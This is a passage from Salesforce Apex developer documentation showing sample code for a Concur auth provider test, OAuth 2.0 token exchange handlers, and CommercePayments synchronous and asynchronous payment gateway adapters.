System.assertEquals(expectedAuthProvResponse.provider,
actualAuthProvResponse.provider);
System.assertEquals(expectedAuthProvResponse.oauthToken,
actualAuthProvResponse.oauthToken);
System.assertEquals(expectedAuthProvResponse.oauthSecretOrRefreshToken,
actualAuthProvResponse.oauthSecretOrRefreshToken);
System.assertEquals(expectedAuthProvResponse.state, actualAuthProvResponse.state);

static testMethod void testGetUserInfo() {

Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();

Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());

Auth.AuthProviderTokenResponse response = new

Auth.AuthProviderTokenResponse(PROVIDER, OAUTH_TOKEN ,'sampleOauthSecret', STATE);
Auth.UserData actualUserData = concurCls.getUserInfo(authProviderConfiguration,
response) ;

Map<String,String> provMap = new Map<String,String>();

provMap.put('key1', 'value1');
provMap.put('key2', 'value2');

Auth.UserData expectedUserData = new Auth.UserData(LOGIN_ID, FIRST_NAME,

LAST_NAME, FULL_NAME, EMAIL_ADDRESS,
null, LOCALE_NAME, null, PROVIDER, null, provMap);

System.assertNotEquals(expectedUserData,null);
System.assertEquals(expectedUserData.firstName, actualUserData.firstName);
System.assertEquals(expectedUserData.lastName, actualUserData.lastName);
System.assertEquals(expectedUserData.fullName, actualUserData.fullName);
System.assertEquals(expectedUserData.email, actualUserData.email);
System.assertEquals(expectedUserData.username, actualUserData.username);
System.assertEquals(expectedUserData.locale, actualUserData.locale);
System.assertEquals(expectedUserData.provider, actualUserData.provider);
System.assertEquals(expectedUserData.siteLoginUrl, actualUserData.siteLoginUrl);

// implementing a mock http response generator for concur

public class ConcurMockHttpResponseGenerator implements HttpCalloutMock {
public HTTPResponse respond(HTTPRequest req) {
String namespace = API_USER_VERSION_URL;
String prefix = 'mockPrefix';

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Dom.Document doc = new Dom.Document();

Dom.XmlNode xmlNode = doc.createRootElement('mockRootNodeName', namespace, prefix);

xmlNode.addChildElement('LoginId', namespace, prefix).addTextNode(LOGIN_ID);

xmlNode.addChildElement('FirstName', namespace, prefix).addTextNode(FIRST_NAME);
xmlNode.addChildElement('LastName', namespace, prefix).addTextNode(LAST_NAME);
xmlNode.addChildElement('EmailAddress', namespace,
prefix).addTextNode(EMAIL_ADDRESS);
xmlNode.addChildElement('LocaleName', namespace, prefix).addTextNode(LOCALE_NAME);

xmlNode.addChildElement('AccessToken', null, null).addTextNode(OAUTH_TOKEN);

xmlNode.addChildElement('RefreshToken', null, null).addTextNode(REFRESH_TOKEN);
System.debug(doc.toXmlString());
// Create a fake response
HttpResponse res = new HttpResponse();
res.setHeader('Content-Type', 'application/xml');
res.setBody(doc.toXmlString());
res.setStatusCode(200);
return res;
}

}
}

SEE ALSO:
Apex Reference Guide: AuthProviderPlugin Interface
Salesforce Help: Create a Custom External Authentication Provider

OAuth 2.0 Token Exchange Handler Examples

Sometimes you want to integrate Salesforce into a complex system where you have a primary app,
EDITIONS
a central identity provider, and multiple other apps and microservices. In this model, users log in
to the primary app via the identity provider and access data provided by the other apps and Available in: Enterprise,
microservices. To fit Salesforce into this model as one of the apps providing data, use the OAuth Unlimited, Performance,
2.0 token exchange flow, which implements an Apex token exchange handler. and Developer Editions
During the OAuth 2.0 token exchange flow, when a user logs in to the primary app via the identity
provider, the identity provider issues a token to the primary app. The primary app can’t use this
token to directly access Salesforce data, but it can exchange the token for a Salesforce access token. To complete this exchange, the
primary app uses an Apex token exchange handler. With the token exchange handler, Salesforce can issue its own access token by
validating the identity provider’s token and mapping the token’s subject, which identifies the end user, to a Salesforce user.
To build an Apex token exchange handler, create a class that extends the Auth.Oauth2TokenExchangeHandler abstract
class and customize its validation logic and subject mapping.

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Token Exchange Handler Abstract Class

The Auth.Oauth2TokenExchangeHandler abstract class contains two methods. Use the first method,
validateIncomingToken, to validate the identity provider’s token. Use the second method, getUserForTokenSubject,
to map the token’s subject to a Salesforce user.
global abstract class Oauth2TokenExchangeHandler {

//First method called in the handler

global virtual Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,
Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
tokenType) {
//This method must be overridden by the extending class
//Validate the identity provider’s token. Depending on your use case and token
type, write validation logic that does these things:
// Use the token to make a callout to the identity provider’s User Info endpoint
// Use the token to make a callout to identity provider’s Introspection endpoint
// Validate a SAML response
// Validate a JWT locally
// The appDeveloperName is the developer name of the Connected App or External
Client App
//The IntegratingAppType is an ENUM that is either a Connected App or External
Client App
// After you validate the token, return true or false
return null;
}

//Second method called in the handler

global virtual User getUserForTokenSubject(Id networkId, Auth.TokenValidationResult
result, Boolean canCreateUser, String appDeveloperName, Auth.IntegratingAppType appType)
{
//This method must be overridden by the extending class
//To map the subject of the token to a Salesforce user, write code that does these
things:
// Get data directly from the token, and query for the user in Salesforce
// Get data from the identity provider’s User Info endpoint using the token and
query for the user in Salesforce
// Get data from the SAML assertion and query for the user in Salesforce

// If the user is not in Salesforce, and canCreateUser is true, set up a User

object
// This includes external users, so it can include an account and contact

// If the user Id is null, Salesforce automatically inserts the user(assuming that

canCreateUser is true)
return null;
}
}

The way you build your validation and subject mapping processes depends on your use case, identity provider, and token type. Use
these examples to get started.

Important: These example implementations and code snippets are for demonstration only. Use them as a starting point, but
make sure you evaluate, customize, and test them carefully.

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Token Exchange Handler Example Implementation

This example implementation extends the Auth.Oauth2TokenExchangeHandler abstract class.
In this example, the OAuth2TokenExchangeType enum specifies that the token is a JSON Web Token (JWT). The first method,
validateIncomingToken, uses a method in the Auth.JWTUtil class to validate the token by calling an endpoint on the
external identity provider.
Validating the token returns an instance of the Auth.TokenValidationResult class with information about the token and the
user.
With the second method, getUserForTokenSubject, the handler gets information about the user from the token validation
result. The example shows two ways to bundle the user data—either by creating a class with a custom data structure or by using the
Auth.UserData class.
After the handler gets the user data from the token, it looks for a Salesforce user matching the token subject. In this example, the handler
doesn’t find a user, so it creates a User object. To finish creating the user, Salesforce automatically inserts the User object for you.
/*Token Exchange Handler Implementation Example*/
public class MyTokenExchangeClass extends Auth.Oauth2TokenExchangeHandler{

public override Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,

Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
tokenType) {
//Depending on your incoming token, you validate it in different ways
//If the incoming token is an opaque access token or refresh token, validate it
with a callout to the identity provider
//If it’s a SAML assertion, validate it by checking the XML
//If it’s an ID Token or JWT, try using our JWT validation methods
//This example assumes that the incoming token is a JWT and that there is a public
keys endpoint on the identity provider
//Be very careful with any logic in this method, and test carefully before using

Boolean isValid = false;

Auth.JWT jwt;
//Custom data structure
CustomStructuredUserData customData;
//Standard user data structure
Auth.UserData userData;

if (tokenType == Auth.OAuth2TokenExchangeType.JWT || tokenType ==

Auth.OAuth2TokenExchangeType.ID_TOKEN) {
try {
jwt = Auth.JWTUtil.validateJWTWithKeysEndpoint(incomingToken,
'https://your-idp.com/keys', true);
isValid = true;
//These values are sourced from the JWT or ID Token
userData = new Auth.UserData('identifier', 'firstName', 'lastName',
'fullName', '[email protected]', 'link url', 'remote username', 'local', 'Provider (IDP
Name)', '', new Map<String,String>());
//You can also pass data as generic object
customData = new CustomStructuredUserData();
} catch (Exception e) {
isValid = false;
}

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} else if (tokenType == Auth.OAuth2TokenExchangeType.ACCESS_TOKEN || tokenType ==

Auth.OAuth2TokenExchangeType.REFRESH_TOKEN) {
//Putlogic for validating an opaque access token or refresh token here
//This validation typically involves a callout to the introspect or user info
endpoints
//If you call out to the user info endpoint, make sure to pass the data from
the validation into the getUserForTokenSubject method using an Apex class or the user data
class
isValid = false;
} else if (tokenType == Auth.OAuth2TokenExchangeType.SAML_2) {
//Put logic for validating a SAML assertion here
//This validation involves XML parsing
isValid = false;
} else {
//You can add new token types. If you don’t know how to validate the token,
always check the type and return false
isValid = false;
}

if(isValid){
return new Auth.TokenValidationResult(true, (object)customData, userData,
incomingToken, tokenType, 'CustomErrorMessage');
} else {
return new Auth.TokenValidationResult(isValid);
}
}

public override User getUserForTokenSubject(Id networkId, Auth.TokenValidationResult

result, Boolean canCreateUser, String appDeveloperName, Auth.IntegratingAppType appType)
{
//If you passed data from the validation method, grab it now. Remember to cast
back for the custom data
CustomStructuredUserData customData = (CustomStructuredUserData)result.data;
Auth.UserData userData = result.userData;

//If you don’t have any data from the token, you can perform a callout using the
incoming token
String userToken = result.token;

//Now, search for a user

User u;
try {
u = [SELECT Id, IsActive FROM User WHERE email =: userData.email];
} catch (Exception e) {
//No user existed for this email address, or there were too many. Try looking
harder
}

// If you didn’t find a user, check to see if you can create one
if (canCreateUser && (u == null)) {
u = new User();
u.firstName = userData.firstName;
u.lastName = userData.lastName;

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//Finish setting user attributes. For external users, make sure you set up the
contact/account/person account
//If you assign permission sets, do it in a future method to avoid mixed DML
//Returning the user from this method handles the insertion, so it’s not
necessary to manually insert
}

return u;
}

//This class gives you a way to pass structured data between the validateIncomingToken
and getUserForTokenSubject methods
//This example is for demonstration only. Implement this class in a way that matches
the data that you are passing
private class CustomStructuredUserData {
public String customAttribute1;
public Integer customAttribute2;
public Map<String,Object> customAttribute3;
}
}

Examples for Validating Different Token Types

The custom logic for your implementation of the validateIncomingToken method depends on the token type. Here’s an
overview of the options for different token types.
• For JWTs and ID tokens, use methods in the Auth.JWTUtil class.
• For opaque tokens, such as opaque access and refresh tokens, call out to the identity provider’s introspection or user info endpoints.
• For SAML assertions, write code to parse the XML from the assertion.
In this example, the handler validates a JWT from the identity provider. The handler determines the token type and uses the
validateJWTWithKey method in the Auth.JWTUtil class to validate the JWT with a public key.

global override Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,

Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
tokenType) {
if (tokenType == Auth.OAuth2TokenExchangeType.JWT) {
// Validates the JWT with a public key, but we also provide methods to validate
it with a certificate (Auth.JWTUtil.validateJWTWithCert) or with a keys endpoint
(Auth.JWTUtil.validateJWTWithKeysEndpoint)
Auth.JWT jwt =
Auth.JWTUtil.validateJWTWithKey(incomingToken,'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMI...');
return new Auth.TokenValidationResult(true);
}

return new Auth.TokenValidationResult(false); // Returns a general 'Token handler

validation failed' message that you can customize
}

For opaque access tokens, which can’t be introspected locally on your app, call out to the introspection or user info endpoints on the
external identity provider. In this example for validating an opaque token, the handler sends a POST request to the identity provider’s

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introspection endpoint and parses the identity provider’s JSON response so that Salesforce can understand it. It then validates the
response using the validateIncomingToken method.
global override Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,
Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
tokenType) {
if (tokenType == Auth.OAuth2TokenExchangeType.ACCESS_TOKEN) {
// Validate the token with a callout to the introspection endpoint
String body =
'client_id=3MVG9AOp4kbriZ...&client_secret=71E147927AC...&token=00Dxx0000006H5T!AQEA...';

HttpRequest req = new HttpRequest();

req.setMethod('POST');
req.setEndpoint('https://<MyCompanyDomain>/services/oauth2/introspect');
req.setHeader('Content-Type', 'application/x-www-form-urlencoded');
req.setBody(body);
Http http = new Http();
HttpResponse res = http.send(req);

Boolean active;
String username;
Auth.UserData userData;

if(res.getStatusCode() == 200) {
System.JSONParser parser = System.JSON.createParser(res.getBody());
try {
while((active == null || username == null) && parser.nextToken() !=
null) {
if (parser.getCurrentToken() == JSONToken.FIELD_NAME) {
String fieldName = parser.getText();

if (fieldName == 'active') {
parser.nextToken();
active = parser.getBooleanValue();

if (!active) {
return new Auth.TokenValidationResult(false);
}
}
if (fieldName == 'username') {
parser.nextToken();
username = parser.getText();
}
}
}

if (active != null && username != null) {

userData = new Auth.UserData(null, null, null, null, null, null,
username, null, null, null, null);
}

} catch(JSONException e) {
return new Auth.TokenValidationResult(false); // Returns a general
'Token handler validation failed' message that you can customize
}

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} else {
return new Auth.TokenValidationResult(false); // Returns a general 'Token
handler validation failed' message that you can customize
}

return new Auth.TokenValidationResult(true, null, userData, incomingToken,

tokenType, null);
}

return new Auth.TokenValidationResult(false); // Returns a general 'Token handler

validation failed' message that you can customize
}

Example for Finding and Creating a User

During subject mapping, your handler finds the subject (end user) of the incoming token and tries to link it to a Salesforce user. Optionally,
you can configure your handler to help create a Salesforce user if it can’t find one. The handler doesn’t technically create the user—instead,
it returns a User object. Salesforce then automatically inserts the new user into the User object for you. To create the User object, the
isUserCreationAllowed field on your OauthTokenExchangeHandler metadata definition must be set to true. When
you set this metadata field to true, the CanCreateUser parameter in the getUserForTokenSubject Apex method is
also set to true.
If necessary, to get more information about the incoming subject, the handler can call out to the external identity provider or another
external system.
In this example implementation, the handler gets information about the user from the identity provider’s token and looks for an existing
Salesforce user. If no user exists, it creates a User object.
global class MyTokenExchangeHandler extends Auth.Oauth2TokenExchangeHandler {

global override Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,

Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
tokenType) {
// Validates the incoming token

Auth.UserData userData = new Auth.UserData('someIdentifier', 'someFirstName',

'someLastName', 'someFullName', 'someEmail', 'someLink', '[email protected]', 'en_US',
'someProvider', 'someSiteLoginUrl', null);

return new Auth.TokenValidationResult(true, null, userData, incomingToken, tokenType,

null);
}

global override User getUserForTokenSubject(Id networkId, Auth.TokenValidationResult

result, Boolean canCreateUser, String appDeveloperName, Auth.IntegratingAppType appType)
{
String username = result.getUserData().username;

List<User> existingUser = [SELECT Id, Username, Email, FirstName, LastName, Alias,

ProfileId FROM User WHERE Username=:username LIMIT 1];

if (!existingUser.isEmpty()) {

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return existingUser[0];
}

User u = new User();

u.Username = username;
u.Email = '[email protected]';
u.LastName = 'SomeLastName';
u.Alias = 'MyAlias';
u.TimeZoneSidKey = 'America/Los_Angeles';
u.LocaleSidKey = 'en_US';
u.EmailEncodingKey = 'UTF-8';

Profile p = [SELECT Id FROM profile WHERE name='Standard User'];

u.ProfileId = p.Id;
u.LanguageLocaleKey = 'en_US';

return u;

}
}

SEE ALSO:
Salesforce Help: OAuth 2.0 Token Exchange Flow
Apex Reference Guide: Oauth2TokenExchangeHandler Class
Apex Reference Guide: TokenValidationResult Class
Apex Reference Guide: OAuth2TokenExchangeType Enum
Apex Reference Guide: IntegratingAppType Enum
Apex Reference Guide: JWTUtil Class

Chatter Answers and Ideas

In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique ideas
and answers topics to match that focus.
To work with zones in Apex, use the Answers, Ideas, and ConnectApi.Zones classes.

SEE ALSO:
Apex Reference Guide: Answers Class
Apex Reference Guide: Ideas Class
Apex Reference Guide: Zones Class

Use Cases for the CommercePayments Namespace

Review walkthroughs, use cases, and reference material for the CommercePayments platform.
To review CommercePayments class reference docs, go to CommercePayments Namespace.

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Payment Gateway Adapters

Payment gateway adapters represent the bridge between your payments platform in Salesforce and an external payment gateway.
Payment Authorization Reversal Service
An authorization reversal is a transaction that negates an authorization by releasing the hold on funds in a customer’s payment
method.
Tokenization Service
The credit card tokenization process replaces sensitive customer information with a one-time algorithmically generated number,
called a token, used during the payment transaction. Salesforce stores the token and then uses that token as a representation of the
credit card used for transactions. The token lets you store information about the credit card without storing sensitive customer data,
such as credit card numbers, in Salesforce.
Alternative Payment Methods
An alternative payment method allows customers to store and represent payment method information not represented by another
pre-defined payment method such as CardPaymentMethod or DigitalWallet. Common examples of alternative payment
methods include CashOnDeliver, Klarna, and Direct Debit. Alternative payment methods are available in API v51.0 and later.
Process Payments
Process a payment in the payment gateway.
Process Refund
Process a refund in the payment gateway.
Idempotency Guidelines
Idempotency represents the ability of a payment gateway to recognize duplicate requests submitted either in error or maliciously,
and then process the duplicate requests accordingly. When working with an idempotent gateway, consider these important
guidelines.
Sample Payment Gateway Implementation for CommercePayments
We’ve created a GitHub repository containing code samples for a sample Payeezy payment gateway implementation with the
CommercePayments namespace. Review the sample code if you need help with configuring your payment gateway implementation.

Payment Gateway Adapters

Payment gateway adapters represent the bridge between your payments platform in Salesforce and an external payment gateway.

Building a Synchronous Gateway Adapter

In synchronous payment configurations, the Salesforce payment platform sends transaction information to the gateway, and then
waits for a gateway response that contains the final transaction status. Salesforce creates a transaction only if the transaction is
successful in the gateway.
Set Up a Synchronous Payment Gateway Adapter
For payments transactions, you can configure Salesforce to interface with a synchronous payment gateway adapter.
Building an Asynchronous Gateway Adapter
In an asynchronous payments configuration, the payments platform first sends transaction information to the gateway. The gateway
responds with an acknowledgment that it received the transaction, and then the platform creates a pending transaction. The gateway
sends a notification, which contains the final transaction status. The platform then updates the transaction’s status accordingly.
Set Up an Asynchronous Payment Gateway Adapter
For payments transactions, you can configure Salesforce to interface with an asynchronous payment gateway adapter.

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Builder Examples for Payment Gateway Adapters

The final sections of a payment gateway adapter should define how the adapter creates requests and responses. The implementation
of these classes can vary widely based on your gateway and platform requirements. We’ve provided several generics examples for
review.

Building a Synchronous Gateway Adapter

In synchronous payment configurations, the Salesforce payment platform sends transaction information to the gateway, and then waits
for a gateway response that contains the final transaction status. Salesforce creates a transaction only if the transaction is successful in
the gateway.
A synchronous gateway adapter implements the PaymentGatewayAdapter Interface. In this topic, we examine a sample
synchronous adapter by looking at PaymentGatewayAdapter, and then the processRequest method, which drives most
of the communication between the payment platform and the payment gateway.

Note: Payment gateway adapters can’t make future calls, external callouts using System.Http, asynchronous calls, queueable
calls, or execute DMLs using SOQL.

PaymentGatewayAdapter
All synchronous gateways must implement the PaymentGatewayAdapter interface. All PaymentGatewayAdapters are required
to implement the processRequest method.
global with sharing class SampleAdapter implements commercepayments.PaymentGatewayAdapter
{
global SampleAdapter() {}

global commercepayments.GatewayResponse
processRequest(commercepayments.paymentGatewayContext gatewayContext) {
}
}

Processing an Initial Payment Request

When the payments platform receives a payments API request, it passes the request to your gateway adapter for further evaluation. The
adapter begins the request evaluation process by calling the processRequest method, which represents the first step in a
synchronous payment flow. We can break the processRequest implementation into three parts.
First, it builds a payment request object that the gateway can understand.
commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();
if (requestType == commercepayments.RequestType.Capture) {
req.setEndpoint('/pal/servlet/Payment/v52/capture');
body =
buildCaptureRequest((commercepayments.CaptureRequest)gatewayContext.getPaymentRequest());
} else if (requestType == commercepayments.RequestType.ReferencedRefund) {
req.setEndpoint('/pal/servlet/Payment/v52/refund');
body =
buildRefundRequest((commercepayments.ReferencedRefundRequest)gatewayContext.getPaymentRequest());
}

Note: We don't recommend encoding the request body, which contains the merge fields, including the card number and CVV.
This can cause the request to fail to read the encoded request body and to fail to replace the merge field values.

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Then, the adapter sends the request to the payment gateway.

req.setBody(body);
req.setMethod('POST');
commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
HttpResponse res = null;
try {
res = http.send(req);
} catch(CalloutException ce) {
commercepayments.GatewayErrorResponse error = new
commercepayments.GatewayErrorResponse('500', ce.getMessage());
return error;
}

Finally, the adapter creates a response object to store data from the gateway’s response. The type of response object varies based on
whether you originally made a payment capture request or a refund request.
if ( requestType == commercepayments.RequestType.Capture) {
// Refer to the end of this doc for sample createCaptureResponse implementation
response = createCaptureResponse(res);
} else if ( requestType == commercepayments.RequestType.ReferencedRefund) {
response = createRefundResponse(res);
}
return response;

Using Custom Data

To transfer additional, custom data from the frontend to your payment gateway adapter, use the Checkout Payments Connect API.
Sending custom data to the adapter supports use cases like implementing conditional logic based on specific data or mapping
asynchronous webhook events to a cart by passing an identifier.
To send custom data to your payment gateway adapter, use the paymentsData parameter in the Checkout Payments Connect API
input payload. This parameter is a serialized map of type <String, String> that supports up to four key-value pairs. Each key
and each value can contain up to 255 characters. paymentsData is only applicable to Auth and PostAuth payment requests. Simple
purchase orders don’t support paymentsData.
Similarly, the Post Authorization input payload has an additionalData property, which is also a map of type<String, String>.
The paymentsData property is accepted for Auth and PostAuth requests and is transferred to the Payment APIs through the
additionalData property.

Set Up a Synchronous Payment Gateway Adapter

For payments transactions, you can configure Salesforce to interface with a synchronous payment
EDITIONS
gateway adapter.
To access the commercepayments API, you need the PaymentPlatform org permission. Available in: Salesforce
Summer ’20 and later
1. Create your payment gateway adapter Apex classes. For instructions, see Building a Synchronous
Gateway Adapter. Available in: API 49.0 and
2. Create a named credential. later

a. From Setup, in the Quick Find box, enter Named Credentials, and then select New..
b. Complete the required fields, including the URL for your payment gateway.

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3. Create a payment gateway provider. The PaymentGatewayProvider object stores details about the payment gateway that Salesforce
Payments communicates with when processing a transaction.
a. Generate an access token according to the instructions in Connect to Connect REST API Using OAuth.
The response includes the access token, specified in the access_token property, and the server instance, specified in the
instance_url property. Use this information to make API calls to build the payment gateway provider.

b. Execute a POST call to the resource using the domain in the instance_url. For example,
https://instance_name.my.salesforce.com/services/data/vapi_version/tooling/sobjects/PaymentGatewayProvider.
Use this payload as the request body, replacing value with the correct data.
{
"ApexAdapterId": "value",
"DeveloperName": "value",
"MasterLabel": "value",
"IdempotencySupported": "value",
"Comments": "value"
}

Example:
{
"ApexAdapterId": "01pxx0000004UU8AAM",
"DeveloperName": "MyNewGatewayProvider",
"MasterLabel": "My New Gateway Provider",
"IdempotencySupported": "Yes",
"Comments": "Custom made gateway provider."
}

4. Create a payment gateway record. The PaymentGateway object stores information about the connection to the external payment
gateway. The record requires these field values.
• Payment Gateway Name: Name of the external payment gateway.
• Merchant Credential ID: ID of the named credential that you created.
• Payment Gateway Provider ID: ID of the payment gateway provider that you created.
• Status: Active

SEE ALSO:
Object Reference for the Salesforce Platform: PaymentGateway
Object Reference for the Salesforce Platform: PaymentGatewayProvider

Building an Asynchronous Gateway Adapter

In an asynchronous payments configuration, the payments platform first sends transaction information to the gateway. The gateway
responds with an acknowledgment that it received the transaction, and then the platform creates a pending transaction. The gateway
sends a notification, which contains the final transaction status. The platform then updates the transaction’s status accordingly.
The asynchronous process differs from synchronous transactions, where the platform does not create a pending transaction after the
initial gateway request. Instead, the platform creates a transaction only after the gateway sends a response containing the final transaction
status. For information on building a synchronous adapter, review Building a Synchronous Gateway Adapter.

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An asynchronous configuration requires both a synchronous gateway adapter and an asynchronous adapter. In this topic, we’ll break
down a sample asynchronous adapter by looking at several important areas.
• Defining an asynchronous payment gateway adapter
• Processing the initial payment request
• Processing a notification from the payment gateway
• Debugging gateway responses using system debug logs.

Note: Payment gateway adapters can’t make future calls, external callouts using System.Http, asynchronous calls, queueable
calls, or execute DMLs using SOQL.

Asynchronous Payment Gateway Adapter Definition

An asynchronous gateway adapter class must implement both the PaymentGatewayAdapter Interface and the
PaymentGatewayAsyncAdapter Interface. The adapter class must also implement the processRequest method for
PaymentGatewayAdapter and the processNotification method for PaymentGatewayAsyncAdapter.
global with sharing class SampleAdapter implements
commercepayments.PaymentGatewayAsyncAdapter, commercepayments.PaymentGatewayAdapter {
global SampleAdapter() {}

global commercepayments.GatewayResponse
processRequest(commercepayments.paymentGatewayContext gatewayContext) {
}

global commercepayments.GatewayNotificationResponse
processNotification(commercepayments.PaymentGatewayNotificationContext
gatewayNotificationContext) {
}
}

Processing an Initial Payment Request

When the payments platform receives a payments API request, it passes the request to your gateway adapter for further evaluation. The
adapter begins the request evaluation process by calling the processRequest method, which represents the first step in an asynchronous
payment flow. We can break the processRequest implementation into three parts.
First, it builds a payment request object that the gateway can understand.
commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();
if (requestType == commercepayments.RequestType.Capture) {
req.setEndpoint('/pal/servlet/Payment/v52/capture');
body =
buildCaptureRequest((commercepayments.CaptureRequest)gatewayContext.getPaymentRequest());
} else if (requestType == commercepayments.RequestType.ReferencedRefund) {
req.setEndpoint('/pal/servlet/Payment/v52/refund');
body =
buildRefundRequest((commercepayments.ReferencedRefundRequest)gatewayContext.getPaymentRequest());
}

Then, the adapter sends the request to the payment gateway.

req.setBody(body);
req.setMethod('POST');

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commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();

HttpResponse res = null;
try {
res = http.send(req);
} catch(CalloutException ce) {
commercepayments.GatewayErrorResponse error = new
commercepayments.GatewayErrorResponse('500', ce.getMessage());
return error;
}

Finally, the adapter creates a response object to store data from the gateway’s response. The type of response object will vary based on
whether you originally made a payment capture request or a refund request.
if ( requestType == commercepayments.RequestType.Capture) {
// Refer to the end of this doc for sample createCaptureResponse implementation
response = createCaptureResponse(res);
} else if ( requestType == commercepayments.RequestType.ReferencedRefund) {
response = createRefundResponse(res);
}
return response;

Processing a Notification from the Payment Gateway

After the customer bank processes the transaction and sends the results to the gateway, the gateway sends the adapter a notification
indicating that it’s ready to provide the final transaction status. For this part of an asynchronous transaction flow, the adapter needs to
call the processNotification class. We can split the processNotification implementation into four parts.
First, the adapter verifies the signature in the notification request. For more information on verifying signatures, review Encryption and
Signature Techniques in Apex.
private Boolean verifySignature(NotificationRequest requestItem) {
String payload = requestItem.pspReference + ':'
+ (requestItem.originalReference == null ? '' : requestItem.originalReference) +
':'
+ requestItem.merchantAccountCode + ':'
+ requestItem.merchantReference + ':'
+ requestItem.amount.value.intValue() + ':'
+ requestItem.amount.currencyCode + ':'
+ requestItem.eventCode + ':'
+ requestItem.success;
String myHMacKey = getHMacKey();
String generatedSign = EncodingUtil.base64Encode(Crypto.generateMac('hmacSHA256',
Blob.valueOf(payload),
EncodingUtil.convertFromHex(myHMacKey)));
return generatedSign.equals(requestItem.additionalData.hmacSignature);
}

Next, the adapter parses the gateway’s notification request and builds a notification object. The
getPaymentGatewayNotificationRequest method evaluates data from the gateway’s notification request items, which
include status, referenceNumber, event, and amount. The notificationStatus object is set to Success or Failed based on
whether the platform successfully received the notification. If the notification’s event code indicates that the gateway processed a
payment capture transaction, the adapter builds a notification object using the CaptureNotification class. If the event code

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indicates that the gateway processed a refund transaction, the adapter builds a notification object using the
ReferencedRefundNotification class.

commercepayments.PaymentGatewayNotificationRequest gatewayNotificationRequest =
gatewayNotificationContext.getPaymentGatewayNotificationRequest();
Blob request = gatewayNotificationRequest.getRequestBody();
SampleNotificationRequest notificationRequest =
SampleNotificationRequest.parse(request.toString().replace('currency', 'currencyCode'));

List<SampleNotificationRequest.NotificationItems> notificationItems =
notificationRequest.notificationItems;
SampleNotificationRequest.NotificationRequestItem notificationRequestItem =
notificationItems[0].NotificationRequestItem;

Boolean success = Boolean.valueOf(notificationRequestItem.success);

String pspReference = notificationRequestItem.pspReference;
String eventCode = notificationRequestItem.eventCode;
Double amount = notificationRequestItem.amount.value;

commercepayments.NotificationStatus notificationStatus = null;

if (success) {
notificationStatus = commercepayments.NotificationStatus.Success;
} else {
notificationStatus = commercepayments.NotificationStatus.Failed;
}
commercepayments.BaseNotification notification = null;
if ('CAPTURE'.equals(eventCode)) {
notification = new commercepayments.CaptureNotification();
} else if ('REFUND'.equals(eventCode)) {
notification = new commercepayments.ReferencedRefundNotification();
}
notification.setStatus(notificationStatus);
notification.setGatewayReferenceNumber(pspReference);
notification.setAmount(amount);

The adapter then requests that the payments platform records the results of the notification.
commercepayments.NotificationSaveResult saveResult =
commercepayments.NotificationClient.record(notification);

All asynchronous gateways require that the platform acknowledges that it received the notification, regardless of whether the platform
successfully saved the notification’s data. The platform calls the GatewayNotificationResponse class to send the
acknowledgment.
commercepayments.GatewayNotificationResponse gnr = new
commercepayments.GatewayNotificationResponse();
if (saveResult.isSuccess()) {
system.debug('Notification accepted by platform');
} else {
system.debug('Errors in the result '+ Blob.valueOf(saveResult.getErrorMessage()));
}
gnr.setStatusCode(200);
gnr.setResponseBody(Blob.valueOf('[accepted]'));
return gnr;

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Using Custom Data

To transfer additional, custom data from the frontend to your payment gateway adapter, use the Checkout Payments Connect API.
Sending custom data to the adapter supports use cases like implementing conditional logic based on specific data or mapping
asynchronous webhook events to a cart by passing an identifier.
To send custom data to your payment gateway adapter, use the paymentsData parameter in the Checkout Payments Connect API
input payload. This parameter is a serialized map of type <String, String> that supports up to four key-value pairs. Each key
and each value can contain up to 255 characters. paymentsData is only applicable to Auth and PostAuth payment requests. Simple
purchase orders don’t support paymentsData.
Similarly, the Post Authorization input payload has an additionalData property, which is also a map of type<String, String>.
The paymentsData property is accepted for Auth and PostAuth requests and is transferred to the Payment APIs through the
additionalData property.

Debugging
Usually, Apex debug logs are available in the developer console. However, Salesforce doesn’t store debug logs from the
processNotification method in the developer console. To view this part of the method flow using system.debug, review the
Collect Debug Logs for Guest Users section of Set Up Debug Logging.

Set Up an Asynchronous Payment Gateway Adapter

For payments transactions, you can configure Salesforce to interface with an asynchronous payment
EDITIONS
gateway adapter.
To access the commercepayments API, you need the PaymentPlatform org permission. Available in: Salesforce
Summer ’20 and later
1. Create a Salesforce site. From Setup, in the Quick Find box, enter Sites. Under Sites and
Domains, select Sites see Set Up Salesforce Sites. Available in: API 49.0 and
Set the site’s public access settings to Guest Access to the Payments API. later

2. Create your payment gateway adapter Apex classes. Asynchronous payment gateways require
that you implement an asynchronous and a synchronous adapter. For information about building gateway adapters in Apex, see
Building an Asynchronous Gateway Adapter and Building a Synchronous Gateway Adapter.
3. Create a named credential in the UI.
a. From Setup, in the Quick Find box, enter Named Credentials, and then select New.
b. Complete the required fields. For the URL, enter the URL of your payment gateway.

4. Create a payment gateway provider. The PaymentGatewayProvider object stores details about the payment gateway that Salesforce
Payments communicates with when processing a transaction.
a. Generate an access token according to the instructions in Connect to Connect REST API Using OAuth.
The response includes the access token, specified in the access_token property, and the server instance, specified in the
instance_url property. Use this information to make API calls to build the payment gateway provider.

b. Execute a POST call to the resource using the domain in the instance_url. For example,
https://instance_name.my.salesforce.com/services/data/vapi_version/tooling/sobjects/PaymentGatewayProvider.
